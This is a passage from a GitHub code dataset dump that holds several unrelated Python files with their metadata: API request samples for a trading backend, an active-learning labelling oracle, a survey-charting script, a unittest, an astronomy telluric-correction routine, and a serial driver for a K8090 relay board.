sampler\n","repo_name":"ExplainableML/LanguageGuidance_for_DML","sub_path":"datasampler/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":497,"program_lang":"python","lang":"en","doc_type":"code","stars":40,"dataset":"github-code","pt":"88"} +{"seq_id":"23256206475","text":"import requests\n\nhost = '0.0.0.0'\nport = '8082'\nbase_url = 'http://' + host + ':' + port\n\n\n# ---------------------------- client data api ----------------------\nclient_data_1 = {\n 'client_name': 'Alice',\n 'industry_id': '1',\n 'pwd': 'yes'\n}\n\nclient_data_2 = {\n 'client_name': 'Bob',\n 'industry_id': '4',\n 'pwd': 'yes2'\n}\n\n# RM2 on-boarded client1 Alice\nrequests.post(base_url+'/rm/2/my_clients', json=client_data_1)\n\n# RM2 on-boarded client2 Bob\nrequests.post(base_url+'/rm/2/my_clients', json=client_data_2)\n# response: {\"client_id\":2,\"client_name\":\"Bob\",\"industry_name\":\"Real Estate\"}\n\n# display all clients of RM2\nrequests.get(base_url+'/rm/2/my_clients')\n# response: [{\"client_id\":1,\"client_name\":\"Alice\",\"industry_name\":\"Environmental Services and Recycling\"},{\"client_id\":2,\"client_name\":\"Bob\",\"industry_name\":\"Real Estate\"}]\n\n\n# --------------------------- trade data api -------------------------\ntrade_data_1 = {\n 'product_id': 1,\n 'units_traded': 100,\n 'trade_type': 'buy'\n}\n\ntrade_data_2 = {\n 'product_id': 1,\n 'units_traded': 100,\n 'trade_type': 'sell'\n}\n\ntrade_data_3 = {\n 'product_id': 4,\n 'units_traded': 100,\n 'trade_type': 'buy'\n}\n\n# client1 buys 100 shares of product1\nrequests.post(base_url+'/client/1/trade', json=trade_data_1)\n# response: {\"holding_id\":1,\"client_name\":\"Alice\",\"product_name\":\"Tox free solutions\",\"units_held\":100.0,\"daily_credit_award\":100.0}\n\n# client1 buys 100 shares of product1 again\nrequests.post(base_url+'/client/1/trade', json=trade_data_1)\n# response: {\"holding_id\":1,\"client_name\":\"Alice\",\"product_name\":\"Tox free solutions\",\"units_held\":200.0,\"daily_credit_award\":200.0}\n\n# client1 sells 100 shares of product1\nrequests.post(base_url+'/client/1/trade', json=trade_data_2)\n\n# client2 buys 100 shares of product4\nrequests.post(base_url+'/client/2/trade', json=trade_data_3)","repo_name":"xuboxiao/pre-hackathon","sub_path":"backend/sample_requests.py","file_name":"sample_requests.py","file_ext":"py","file_size_in_byte":1865,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"88"} +{"seq_id":"1807666184","text":"import os\nimport random\nimport pandas as pd\nfrom typing import List\nfrom flair.data import Sentence\nfrom flair.datasets import CSVClassificationCorpus\nfrom time import time\n\n\ndef read_csv(file_name, skip_header):\n print(file_name)\n if not skip_header:\n data = pd.read_csv(file_name, header=None)\n else:\n data = pd.read_csv(file_name)\n for line in data.values:\n if len(line) == 2:\n yield line[0], line[1]\n elif len(line) == 1:\n yield line[0]\n\n\nclass Oracle:\n def get_label(self, sample: Sentence):\n raise NotImplementedError\n\n\nclass MemoryOracle(Oracle):\n def __init__(self, memory=None):\n if memory is None:\n self.memory = {}\n else:\n self.memory = memory\n self.read_all_labelled_data()\n\n def read_all_labelled_data(self):\n csv_file_list = []\n for root, _, files in os.walk(\".\"):\n for file in files:\n if file.split('.')[-1] == 'csv' and file.find('labelled_') >= 0:\n if os.path.basename(root) != '.':\n csv_file_list.append(os.path.basename(root) + '/' + file)\n else:\n csv_file_list.append(file)\n for file in csv_file_list:\n for sample, label in read_csv(file, False):\n self.memory[sample] = label\n\n def get_label(self, sample):\n if sample.to_plain_string() in self.memory:\n return self.memory[sample.to_plain_string()]\n\n\nclass RuledOracle(Oracle):\n def __init__(self, function):\n self.function = function\n\n def get_label(self, sample):\n return self.function(sample)\n\n\nclass HumanOracle(RuledOracle):\n def __init__(self):\n def human_labeler(sample):\n print(sample)\n print('Y/N/S - Y for correct N for wrong S for Skip')\n choice = input()\n if choice.lower() == 'y':\n return 1\n if choice.lower() == 's':\n return None\n return 0\n\n super().__init__(human_labeler)\n\n\nclass HybridOracle(Oracle):\n def __init__(self,\n experiment_name,\n all_data_file,\n valid_file='valid.txt',\n test_file='test.txt',\n skip_header=True,\n use_memory=True,\n use_rules=False,\n memory=None,\n rule_func=lambda x: 1,\n generate_valid_file=False,\n generate_test_file=False,\n valid_size=None,\n test_size=None,\n overwrite=False):\n self.experiment_name = experiment_name\n if not os.path.exists(self.experiment_name):\n os.mkdir(self.experiment_name)\n self.all_data = list(read_csv(all_data_file, skip_header))\n self.valid_file = valid_file.split('/')[-1]\n self.test_file = test_file.split('/')[-1]\n if os.path.exists(valid_file):\n os.system(f'cp {valid_file} {self.experiment_name}/')\n if os.path.exists(test_file):\n os.system(f'cp {test_file} {self.experiment_name}/')\n self.skip_header = skip_header\n self.use_memory = use_memory\n self.use_rules = use_rules\n if memory is None and len(self.all_data) > 0 and len(self.all_data[0]) == 2:\n print('Starting with labelled data')\n memory = dict([[Sentence(x).to_plain_string(), y] for x, y in self.all_data])\n if self.use_memory:\n self.memory_oracle = MemoryOracle(memory)\n if self.use_rules:\n self.ruled_oracle = RuledOracle(rule_func)\n self.human_oracle = HumanOracle()\n if generate_valid_file:\n if overwrite or not os.path.exists(self.valid_file):\n if valid_size is None:\n print(\"'valid_size' must be provided when generating validation file\")\n raise AttributeError\n else:\n assert len(self.all_data) > valid_size\n valid_data = random.sample(self.all_data, valid_size)\n self.all_data = list(set(self.all_data) - set(valid_data))\n self.save_labelled_csv(self._sentencify(valid_data), self.valid_file)\n if generate_test_file:\n if overwrite or not os.path.exists(self.test_file):\n if test_size is None:\n print(\"'test_size' must be provided when generating test file\")\n raise AttributeError\n else:\n assert len(self.all_data) > test_size\n test_data = random.sample(self.all_data, test_size)\n self.all_data = list(set(self.all_data) - set(test_data))\n self.save_labelled_csv(self._sentencify(test_data), self.test_file)\n\n @staticmethod\n def _sentencify(l):\n return [Sentence(s[0]) for s in l]\n\n def get_all_sentences(self):\n return self._sentencify(self.all_data)\n\n def get_label(self, sample):\n label = None\n if self.use_memory:\n label = self.memory_oracle.get_label(sample)\n if self.use_rules:\n if label is None:\n label = self.ruled_oracle.get_label(sample)\n if label is None:\n label = self.human_oracle.get_label(sample)\n return label\n\n def get_labelled_corpus(self, samples: List[Sentence]):\n train_file_name = str(f'labelled_{len(samples)}_{int(time())}.csv')\n self.save_labelled_csv(samples, train_file_name)\n corpus = CSVClassificationCorpus(data_folder=self.experiment_name,\n column_name_map={0: 'text', 1: 'label'},\n train_file=train_file_name,\n dev_file=self.valid_file,\n test_file=self.test_file,\n skip_header=False)\n return corpus\n\n def _get_labels_for_samples(self, samples: List[Sentence]):\n labels = []\n total_len = len(samples)\n for idx, sample in enumerate(samples):\n print(f'DONE {idx + 1}/{total_len} LABELS')\n label = self.get_label(sample)\n labels.append(label)\n if self.use_memory and label is not None:\n self.memory_oracle.memory[sample] = label\n return labels\n\n def save_labelled_csv(self, samples: List[Sentence], file_name):\n print('STARTING LABELLING')\n labels = self._get_labels_for_samples(samples)\n\n while None in labels:\n print('Re-Label skipped samples? Y/N')\n choice = input()\n if choice.lower() != 'y':\n break\n labels = self._get_labels_for_samples(samples)\n\n with open(f'{self.experiment_name}/{file_name}', 'w') as f:\n for idx in range(len(samples)):\n f.write(f'\"{samples[idx].to_plain_string()}\", {labels[idx]}\\n')\n\n","repo_name":"kunwar31/active_learning","sub_path":"oracle.py","file_name":"oracle.py","file_ext":"py","file_size_in_byte":7058,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"88"} +{"seq_id":"34732905799","text":"import pandas as pd\nfrom pandas.core.frame import DataFrame\nimport re\nimport webbrowser\n\n#Vamos a ver si puedo mandar a llamar a las columnas xd\n\ndatos = pd.read_csv(\"Encuestas.csv\")\ndf = pd.DataFrame(datos)\n\n\n#Con un for vamos de columna en columna buscando las respuestas de los encuestados y comparandolas para contar cuantas respuestas son\n#Contando los datos para la gráfica 1\ndef P1_edad_encuestado(Respuesta1, Respuesta2, Respuesta3, Respuesta4, Respuesta5):\n\n for i in range(0, len(df.index)):\n \n Pregunta_Resp = str(datos['¿Cuántos años tienes?'].loc[i])\n if Pregunta_Resp == \"15 - 16\":\n Respuesta1 += 1\n elif Pregunta_Resp == \"17 - 18\":\n Respuesta2 += 1\n elif Pregunta_Resp == \"19 - 20\":\n Respuesta3 += 1\n elif Pregunta_Resp == \"más de 20\":\n Respuesta4 += 1\n elif Pregunta_Resp == \"menos de 15\":\n Respuesta5 += 1\n \n return Respuesta1, Respuesta2, Respuesta3, Respuesta4, Respuesta5\n\n#Contando los datos para la gráfica 2\ndef P2_Tiempo_dormir(Respuesta1, Respuesta2, Respuesta3, Respuesta4):\n\n for i in range(0, len(df.index)):\n \n Pregunta_Resp = str(datos['¿En promedio cuantas horas duermes al día?'].loc[i])\n if Pregunta_Resp == \"10 a 12 horas\":\n Respuesta1 += 1\n elif Pregunta_Resp == \"8 horas\":\n Respuesta2 += 1\n elif Pregunta_Resp == \"6 a 8 horas\":\n Respuesta3 += 1\n elif Pregunta_Resp == \"Menos de 6 horas\":\n Respuesta4 += 1\n \n return Respuesta1, Respuesta2, Respuesta3, Respuesta4\n\n#Contando los datos para la gráfica 3\ndef P3_Tiempo_de_Estudio(Respuesta1, Respuesta2, Respuesta3, Respuesta4):\n\n for i in range(0, len(df.index)):\n \n Pregunta_Resp = str(datos['¿En promedio cuantas horas las dedicas a el estudio al día?'].loc[i])\n if Pregunta_Resp == \"Menos de 8 horas\":\n Respuesta1 += 1\n elif Pregunta_Resp == \"8 a 10 horas\":\n Respuesta2 += 1\n elif Pregunta_Resp == \"10 a 12 horas\":\n Respuesta3 += 1\n elif Pregunta_Resp == \"mas de 12 horas\":\n Respuesta4 += 1\n \n return Respuesta1, Respuesta2, Respuesta3, Respuesta4\n\n#Contando los datos para la gráfica 4\ndef P4_Semestre(Respuesta1, Respuesta2, Respuesta3, Respuesta4, Respuesta5, Respuesta6):\n\n for i in range(0, len(df.index)):\n \n Pregunta_Resp = str(datos['¿Qué semestre de media superior estudias?'].loc[i])\n if Pregunta_Resp == \"Primer Semestre\":\n Respuesta1 += 1\n elif Pregunta_Resp == \"Segundo Semestre\":\n Respuesta2 += 1\n elif Pregunta_Resp == \"Tercer Semestre\":\n Respuesta3 += 1\n elif Pregunta_Resp == \"Cuarto Semestre\":\n Respuesta4 += 1\n elif Pregunta_Resp == \"Quinto Semestre\":\n Respuesta5 += 1\n elif Pregunta_Resp == \"Sexto Semestre\":\n Respuesta6 += 1\n \n return Respuesta1, Respuesta2, Respuesta3, Respuesta4, Respuesta5, Respuesta6\n\n#Contando los datos para la gráfica 5\ndef P5_Desempenio(Respuesta1, Respuesta2, Respuesta3, Respuesta4):\n\n for i in range(0, len(df.index)):\n \n Pregunta_Resp = str(datos['¿Cómo consideras que has desarrollado tu situación académica en cuarentena y clases a distancia ?'].loc[i])\n if Pregunta_Resp == \"Excelente\":\n Respuesta1 += 1\n elif Pregunta_Resp == \"Buena\":\n Respuesta2 += 1\n elif Pregunta_Resp == \"Mala\":\n Respuesta3 += 1\n elif Pregunta_Resp == \"Pésima\":\n Respuesta4 += 1\n \n return Respuesta1, Respuesta2, Respuesta3, Respuesta4\n\n#Contando los datos para la gráfica 6\ndef P6_Problemas(Respuesta1, Respuesta2, Respuesta3, Respuesta4, Respuesta5):\n\n for i in range(0, len(df.index)):\n \n Pregunta1_Resp = str(datos['¿Has tenido problemas psicológicos?'].loc[i])\n if re.findall(r'Depresión',Pregunta1_Resp):\n Respuesta1 += 1\n if re.match(r'Trastornos de Ansiedad',Pregunta1_Resp):\n Respuesta2 += 1\n if re.findall(r'Trastornos Alimenticios',Pregunta1_Resp):\n Respuesta3 += 1\n if re.findall(r'Estrés',Pregunta1_Resp):\n Respuesta4 += 1\n\n return Respuesta1, Respuesta2, Respuesta3, Respuesta4, Respuesta5\n\n#Contando los datos para la gráfica 7\ndef P7_Ayuda(Respuesta1, Respuesta2):\n\n for i in range(0, len(df.index)):\n \n Pregunta_Resp = str(datos['¿Has acudido a ayuda profesional?'].loc[i])\n if Pregunta_Resp == \"Sí\":\n Respuesta1 += 1\n elif Pregunta_Resp == \"No\":\n Respuesta2 += 1\n\n return Respuesta1, Respuesta2\n\nP1_15_16, P1_17_18, P1_19_20, P1_mas_de_20, P1_menos_de_15 =P1_edad_encuestado(0,0,0,0,0)\n\nP2_10_a_12_horas, P2_8_horas, P2_6_a_8_horas, P2_menos_de_6_horas = P2_Tiempo_dormir(0,0,0,0)\n\nP3_Menos_de_8_horas, P3_8_a_10_horas, P3_10_a_12_horas, P3_mas_de_12_horas = P3_Tiempo_de_Estudio(0,0,0,0)\n\nP4_Primer_Semestre, P4_Segundo_Semestre, P4_Tercer_Semestre, P4_Cuarto_Semestre, P4_Quinto_Semestre, P4_Sexto_Semestre = P4_Semestre(0,0,0,0,0,0)\n\nP5_Excelente, P5_Buena, P5_Mala, P5_Pesima = P5_Desempenio(0,0,0,0)\n\nP6_Depresion, P6_Ansiedad, P6_Trastornos_Alimenticios, P6_Estres, P6_Nada = P6_Problemas(0,0,0,0,0)\n\nP7_Si, P7_No = P7_Ayuda(0,0)\n\nf = open('Graficas.html', 'w')\nmensaje = \"\"\"\n \n \n \n \n \n \n \n \n \n \n \n\n

Gráficas

\n
\n\n
\n
\n
\n
\n
\n
\n
\n \n\n\"\"\"\nf.write(mensaje)\nf.close\n\nwebbrowser.open('Graficas.html')\n\n#insertar script de python en donde se agrega el html\n#Aquí, al final escribir el html y abrir el documento con webbrowser\n","repo_name":"Eduardo-Perez564/4IV9-PSW-Perez-Lopez-Jesus-Eduardo","sub_path":"graficas.py","file_name":"graficas.py","file_ext":"py","file_size_in_byte":11972,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"88"} +{"seq_id":"39286422027","text":"import unittest\nimport json\nimport random\n\nfrom app import app\n\nclass SaveCVTest(unittest.TestCase):\n def setUp(self):\n super().setUp()\n self.app = app.test_client()\n\n def test_update(self):\n unique_code = '63T9-9MDW-6WT5'\n old_data = self.app.get(f'/get/{unique_code}').data\n old_data_json = json.loads(old_data)\n\n tc = f'Ini deskripsinya berubah {random.randint(0, 100)}'\n old_data_json['customer']['deskripsi'] = tc\n del old_data_json['customer']['foto']\n\n response = self.app.post(\n f'/save/{unique_code}',\n data=json.dumps(old_data_json),\n content_type='application/json'\n )\n\n new_data = self.app.get('/get/63T9-9MDW-6WT5').data\n new_data_json = json.loads(new_data)\n\n self.assertEqual(response.status_code, 200)\n self.assertEqual(new_data_json['customer']['deskripsi'], tc)\n\n def test_create(self):\n sample_unique_code = '63T9-9MDW-6WT5'\n sample_data = self.app.get(f'/get/{sample_unique_code}').data\n sample_data_json = json.loads(sample_data)\n\n tc = f'Ini template hasil duplicate {random.randint(0, 100)}'\n sample_data_json['customer']['deskripsi'] = tc\n del sample_data_json['customer']['foto']\n\n response = self.app.post(\n f'/save',\n data=json.dumps(sample_data_json),\n content_type='application/json'\n )\n\n created_unique_code = response.data.decode('utf-8')\n\n created_data = self.app.get(f'/get/{created_unique_code}').data\n created_data_json = json.loads(created_data)\n\n self.assertEqual(response.status_code, 200)\n self.assertEqual(created_data_json['customer']['deskripsi'], tc)\n\nif __name__ == '__main__':\n unittest.main()","repo_name":"MAAF72/CV-Generator","sub_path":"application/web/test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":1805,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"86"} +{"seq_id":"4385589944","text":"from __future__ import print_function, division\nfrom SLOPpy.subroutines.common import *\nfrom SLOPpy.subroutines.spectral_subroutines import *\nfrom SLOPpy.subroutines.io_subroutines import *\nfrom SLOPpy.subroutines.fit_subroutines import *\nfrom SLOPpy.subroutines.shortcuts import *\n\n__all__ = [\"compute_telluric_airmass_observerRF_chunks\"]\n\n\ndef compute_telluric_airmass_observerRF_chunks(config_in):\n\n compute_telluric_observerRF_chunks(config_in,\n n_iterations=1,\n use_berv=False,\n use_reference_airmass=False,\n subroutine_name='compute_telluric_airmass_observerRF_chunks')\n\n\ndef compute_telluric_observerRF_chunks(config_in, **kwargs):\n\n night_dict = from_config_get_nights(config_in)\n\n for night in night_dict:\n\n print()\n print(\"compute_telluric_airmass_observerRF_chunks Night: \", night)\n\n try:\n telluric = load_from_cpickle('telluric', config_in['output'], night)\n continue\n except:\n print(\"No telluric correction file found, computing now \")\n print()\n\n \"\"\" Retrieving the list of observations\"\"\"\n lists = load_from_cpickle('lists', config_in['output'], night)\n\n \"\"\" Retrieving the observations\"\"\"\n calib_data = load_from_cpickle('calibration_fibA', config_in['output'], night)\n input_data = retrieve_observations(config_in['output'], night, lists['observations'])\n observational_pams = load_from_cpickle('observational_pams', config_in['output'], night)\n\n processed = {\n 'subroutine': kwargs['subroutine_name'],\n 'n_orders': 0,\n 'n_pixels': 0\n }\n\n telluric = {\n 'subroutine': kwargs['subroutine_name'],\n 'reference_frame': 'observer'\n }\n\n # There must be a more elegant way to do this, but I'm, not aware of it\n for obs in lists['observations']:\n\n processed[obs] = {}\n\n processed[obs]['e2ds_rescaling'], processed[obs]['e2ds_rescaled'], processed[obs]['e2ds_rescaled_err'] = \\\n perform_rescaling(input_data[obs]['wave'],\n input_data[obs]['e2ds'],\n input_data[obs]['e2ds_err'],\n observational_pams['wavelength_rescaling'])\n\n if processed['n_orders'] == 0:\n processed['n_orders'] = input_data[obs]['orders']\n processed['n_pixels'] = input_data[obs]['wave_size']\n\n \"\"\" Reference airmass for iterative correction of airmass\"\"\"\n if kwargs['use_reference_airmass']:\n airmass_temp = np.zeros(lists['n_transit_in'])\n for n_obs, obs in enumerate(lists['transit_in']):\n # This is to ensure that airmass, berv and rvc are associated to the correct spectra\n airmass_temp[n_obs] = input_data[obs]['AIRMASS']\n processed['airmass_ref'] = np.average(airmass_temp)\n else:\n processed['airmass_ref'] = 0.000\n\n for obs in lists['observations']:\n processed[obs]['e2ds_precorrected'] = processed[obs]['e2ds_rescaled'][:]\n processed[obs]['e2ds_precorrected_err'] = input_data[obs]['e2ds_err'] / processed[obs]['e2ds_rescaling']\n\n \"\"\" for plotting purpose only\"\"\"\n processed[obs]['wave'] = input_data[obs]['wave']\n processed[obs]['e2ds'] = input_data[obs]['e2ds']\n processed[obs]['e2ds_err'] = input_data[obs]['e2ds_err']\n\n for niter in xrange(0, kwargs['n_iterations']):\n print(\"NITER: \", niter)\n\n for obs in lists['telluric']:\n processed[obs]['logI'] = np.log(processed[obs]['e2ds_precorrected'])\n processed[obs]['logI_err'] = processed[obs]['e2ds_precorrected_err']/processed[obs]['e2ds_precorrected']\n\n processed['telluric'] = {}\n\n abs_slope = np.ones([processed['n_orders'], processed['n_pixels']], dtype=np.double)\n line_shift = np.ones([processed['n_orders'], processed['n_pixels']], dtype=np.double)\n zero_point = np.ones([processed['n_orders'], processed['n_pixels']], dtype=np.double)\n pearson_r = np.zeros([processed['n_orders'], processed['n_pixels']], dtype=np.double)\n pearson_p = np.zeros([processed['n_orders'], processed['n_pixels']], dtype=np.double)\n\n airmass = np.zeros(lists['n_tellurics'], dtype=np.double)\n berv = np.zeros(lists['n_tellurics'], dtype=np.double)\n rvc = np.zeros(lists['n_tellurics'], dtype=np.double)\n\n for n_obs, obs in enumerate(lists['telluric']):\n # This is to ensure that airmass, berv and rvc are associated to the correct spectra\n processed['telluric'][obs] = {'n_obs': n_obs}\n airmass[n_obs] = input_data[obs]['AIRMASS']\n berv[n_obs] = input_data[obs]['BERV']\n rvc[n_obs] = input_data[obs]['RVC']\n\n for order in xrange(0, processed['n_orders']):\n print(\" - order \", repr(order))\n\n logi_array = np.empty([lists['n_tellurics'], processed['n_pixels']], dtype=np.double)\n sigi_array = np.empty([lists['n_tellurics'], processed['n_pixels']], dtype=np.double)\n\n for obs in lists['telluric']:\n n_obs = processed['telluric'][obs]['n_obs']\n logi_array[n_obs, :] = processed[obs]['logI'][order, :]\n sigi_array[n_obs, :] = processed[obs]['logI_err'][order, :]\n\n \"\"\" The user has the option to select between different approaches to\n extract the telluric absorption spectrum\n To-Do: move this section to a subroutine for cythonization\"\"\"\n\n if kwargs['use_berv']:\n if observational_pams['linear_fit_method'] == 'linear_curve_fit':\n\n abs_slope[order, :], line_shift[order, :], zero_point[order, :] = \\\n berv_linear_curve_fit_modified(airmass, berv, logi_array, sigi_array, processed['n_pixels'])\n\n else:\n abs_slope[order, :], line_shift[order, :], zero_point[order, :] = \\\n berv_linear_lstsq(airmass, berv, logi_array)\n\n else:\n if observational_pams['linear_fit_method']== 'linear_curve_fit':\n\n abs_slope[order, :], zero_point[order, :] = \\\n airmass_linear_curve_fit(airmass, logi_array, sigi_array, processed['n_pixels'])\n\n else:\n\n abs_slope[order, :], zero_point[order, :] = \\\n airmass_linear_lstsq(airmass, logi_array)\n\n \"\"\" Saving the outcome to dictionary \"\"\"\n processed['telluric']['order_'+repr(order)] = {'logi_array': logi_array, 'sigi_array': sigi_array}\n\n processed['telluric']['spectrum_noairmass'] = np.exp(abs_slope)\n\n for obs in lists['observations']:\n \"\"\" Correction of telluric lines for the average airmass value, following Wyttenbach et al. 2015 \"\"\"\n processed[obs]['e2ds_corrected'] = processed[obs]['e2ds_precorrected'] / \\\n np.power(processed['telluric']['spectrum_noairmass'],\n input_data[obs]['AIRMASS'] -\n processed['airmass_ref'])\n processed[obs]['e2ds_corrected_err'] = processed[obs]['e2ds_precorrected_err'] / \\\n np.power(processed['telluric']['spectrum_noairmass'],\n input_data[obs]['AIRMASS'] -\n processed['airmass_ref'])\n\n for obs in lists['observations']:\n # Correction of telluric lines\n\n telluric[obs] = {}\n\n telluric[obs]['spectrum_noairmass'] = processed['telluric']['spectrum_noairmass']\n\n telluric[obs]['airmass'] = input_data[obs]['AIRMASS']\n telluric[obs]['airmass_ref'] = processed['airmass_ref']\n telluric[obs]['null'] = telluric[obs]['spectrum_noairmass'] < 0.001\n telluric[obs]['spectrum_noairmass'][ telluric[obs]['null']] = 1.0\n\n telluric[obs]['spectrum'] = np.power(processed['telluric']['spectrum_noairmass'],\n input_data[obs]['AIRMASS'] - processed['airmass_ref'])\n\n telluric[obs]['spline_noairmass'] = np.ones([input_data[obs]['n_orders'],\n input_data[obs]['n_pixels']],\n dtype=np.double)\n\n for order in xrange(0, processed['n_orders']):\n telluric[obs]['spline_noairmass'][order, :], _, _ = \\\n compute_spline(input_data[obs]['wave'][order, :],\n telluric[obs]['spectrum_noairmass'][order, :],\n 0.05)\n\n telluric[obs]['spline'] = np.power(telluric[obs]['spline_noairmass'],\n input_data[obs]['AIRMASS'] - processed['airmass_ref'])\n\n telluric[obs]['airmass'] = input_data[obs]['AIRMASS']\n telluric[obs]['airmass_ref'] = processed['airmass_ref']\n telluric[obs]['null'] = telluric[obs]['spectrum_noairmass'] < 0.001\n telluric[obs]['spectrum_noairmass'][ telluric[obs]['null']] = 1.0\n\n telluric[obs]['telluric_corrected'] = processed[obs]['e2ds_corrected']\n telluric[obs]['telluric_corrected_err'] = processed[obs]['e2ds_corrected_err']\n\n save_to_cpickle('telluric', telluric, config_in['output'], night)\n save_to_cpickle('telluric_processed', processed, config_in['output'], night)\n\n print()\n print(\"Night \", night, \" completed\")\n","repo_name":"LucaMalavolta/SLOPpy","sub_path":"SLOPpy/telluric_airmass_observerRF_chunks.py","file_name":"telluric_airmass_observerRF_chunks.py","file_ext":"py","file_size_in_byte":10263,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"86"} +{"seq_id":"20531817293","text":"import serial\nimport Utils.Config\nimport Queue\nimport threading\nimport logging\n\nclass K8090 (object):\n\t\"Schnittstelle zum Velleman Board K8090 zum schalten von Relais per USB\"\n\t\n\tconfig = Utils.Config.Config()\n\tcmdQueue = Queue.Queue()\n\t\n\t# Command constants:\n\tSWITCH_RELAY_ON = '\\x11'\n\tSWITCH_RELAY_OFF = '\\x12'\n\tTOGGLE_RELAY = '\\x14'\n\tSET_BUTTON_MODE = '\\x21'\n\tSTART_RELAY_TIMER = '\\x41'\n\tSET_RELAY_TIMER_DELAY = '\\x42'\n\tQUERY_RELAY_STATUS = '\\x18'\n\tQUERY_TIMER_DELAY = '\\x44'\n\tQUERY_BUTTON_MODE = '\\x22'\n\tQUERY_JUMPER_STATUS = '\\x70'\n\tQUERY_FIRMWARE_VERSION = '\\x71'\n\tRESET_FACTORY_DEFAULT = '\\x66'\n\t\n\t# Event constants:\n\tBUTTON_MODE = '\\x22'\n\tTIMER_DELAY = '\\x44' # works with relay # (0..7) as well: TIMER_DELAY_0 for relay #0\n\tBUTTON_STATUS = '\\x50'\n\tRELAY_STATUS = '\\x51'\n\tJUMPER_STATUS = '\\x70'\n\tFIRMWARE_VERSION = '\\x71'\n\t\n\tRelayMappingMaskToNumber = { 1: 1, 2: 2, 4: 3, 8: 4, 16: 5, 32: 6, 64: 7, 128: 8} \n\tRelayMappingNumberToMask = { 1: 1, 2: 2, 3: 4, 4: 8, 5: 16, 6: 32, 7: 64, 8: 128}\n\t\n\tdef __init__ (self):\n\t\tself.log = logging.getLogger(__name__)\n\t\tself.port = self.config.get('k8090', 'port', 'COM8')\n\t\tself.baudrate = self.config.getint('k8090', 'baudrate',19200)\n\t\tself.timeout = self.config.getint('k8090', 'timeout',10)\n\t\tparitySupported = {\n\t\t\t\"PARITY_NONE\": serial.PARITY_NONE,\n\t\t\t\"PARITY_EVEN\": serial.PARITY_EVEN,\n\t\t\t\"PARITY_ODD\": serial.PARITY_ODD,\n\t\t\t\"PARITY_MARK\": serial.PARITY_MARK,\n\t\t\t\"PARITY_SPACE\": serial.PARITY_SPACE }\n\t\tself.parity = paritySupported[self.config.get('k8090', 'parity', 'PARITY_NONE')]\n\t\t# self.stopbits = self.config.get('k8090', 'stopbits')\n\t\tself.serial = serial.Serial(port=self.port, baudrate=self.baudrate, timeout=self.timeout, parity=self.parity)\n\n\t\tt1 = K8090CommandThread(self, self.cmdQueue, self.serial)\n\t\tt1.setDaemon(True)\n\t\tt1.start()\n\t\t\n\t\tt2 = K8090EventThread(self, self.serial)\n\t\tt2.setDaemon(True)\n\t\tt2.start()\n\t\n\tdef addCommand(self, command, mask=0, param1=0, param2=0):\n\t\tself.log.debug('addCommand(command=%d, mask=%d, param1=%d, param2=%d' % (command, mask, param1, param2))\n\t\tcmd = {\"command\" : command, \"mask\" : mask, \"param1\" : param1, \"param2\" : param2}\n\t\tself.queue.add(cmd)\n\n\tdef resetToFactoryDefault(self):\n\t\t\"\"\"Reset board to factory default settings; no parameters\"\"\"\n\t\tthis.addCommand(this.RESET_FACTORY_DEFAULT)\n\t\t\n\tdef queryRelayStatus(self):\n\t\t\"\"\"Query the current relay status and initiate a RELAY_STATUS event\"\"\"\n\t\tthis.addCommand(this.QUERY_RELAY_STATUS)\n\n\t\t\n\t\t\t\nclass K8090CommandThread(threading.Thread):\n\t\"\"\"Threaded command execution for K8090 board\"\"\"\n\n\tdef __init__(self, k8090, queue, serial):\n\t\tthreading.Thread.__init__(self)\n\t\tthis.k8090 = k8090\n\t\tself.queue = queue\n\t\tself.serial = serial\n\n\tdef twosComplement(self, stringToBuildComplements):\n\t\ttwosComplement = 0\n\t\tfor c in stringToBuildComplements:\n\t\t\ttwosComplement += ord(c)\n\t\treturn ~twosComplement + 1\n\t\t\n\tdef run(self):\n\t\twhile True:\n\t\t\t#grabs command from queue\n\t\t\tcommand = self.queue.get()\n\t\t\tserialCommand = \"\\x04\" + chr(command[\"command\"]) + chr(command[\"mask\"]) + chr(command[\"param1\"]) + chr(command[\"param2\"])\n\t\t\tserialCommand = serialCommand + chr(this.twosComplement(serialCommand)) + \"\\x0F\"\n\t\t\tself.serial.write(serialCommand)\n\t\t\tself.queue.task_done()\n\n\t\t\t\nclass K8090EventThread():\n\t\"\"\"Threaded event receiver for K8090 board\"\"\"\n\n\teventSubscriptions = []\n\n\tdef __init__(self, k8090, serial):\n\t\tthreading.Thread.__init__(self)\n\t\tthis.k8090 = k8090\n\t\tself.serial = serial\n\t\n\tdef run(self):\n\t\twhile True:\n\t\t\treceivedEvent = ''\n\t\t\tcharReceived = self.serial.read()\n\t\t\twhile charReceived != '\\x04': # wait for STX\n\t\t\t\tthis.log.debug(\"ignoring character (%d) from K8090 while waiting for STX\" % charReceived)\n\t\t\t\tcharReceived = self.serial.read()\n\t\t\tchecksum = 4 # STX\t\n\t\t\tcharReceived = self.serial.read()\n\t\t\twhile charReceived != '\\x0F': # wait for ETX\n\t\t\t\treceivedEvent = receivedEvent + chr(charReceived)\n\t\t\t\tchecksum += ord(charReceived)\n\t\t\t\n\t\t\t# event interpretation\n\t\t\tif len(receivedEvent) != 5:\n\t\t\t\tthis.log.error(\"corrupt event received from K8090: %s\" % receivedEvent)\n\t\t\telse:\n\t\t\t\tevent = receivedEvent[0]\n\t\t\t\tmask = receivedEvent[1]\n\t\t\t\tparam1 = receivedEvent[2]\n\t\t\t\tparam2 = receivedEvent[3]\n\t\t\t\t# senderChecksum = receivedEvent[4]\n\t\t\t\t\n\t\t\t\tif checksum != 0:\n\t\t\t\t\tlog.error(\"Received message with invalid checksum! (event=%d, mask=%d, p1=%d, p2=%d)\" % (event, mask, param1, param2))\n\n\t\t\t\tif event == this.k8090.BUTTON_MODE:\n\t\t\t\t\tfor subscriber in self.eventSubscriptions:\n\t\t\t\t\t\tif subscriber[\"event\"] == event:\n\t\t\t\t\t\t\tsubscriber[\"queue\"].add({\"event\" : event, \"inMomentaryMode\" : mask, \"inToggleMode\" : param1, \"inTimedMode\" : param2})\n\t\t\t\t\t\t\t\n\t\t\t\tif event == this.k8090.TIMER_DELAY:\n\t\t\t\t\trelay = 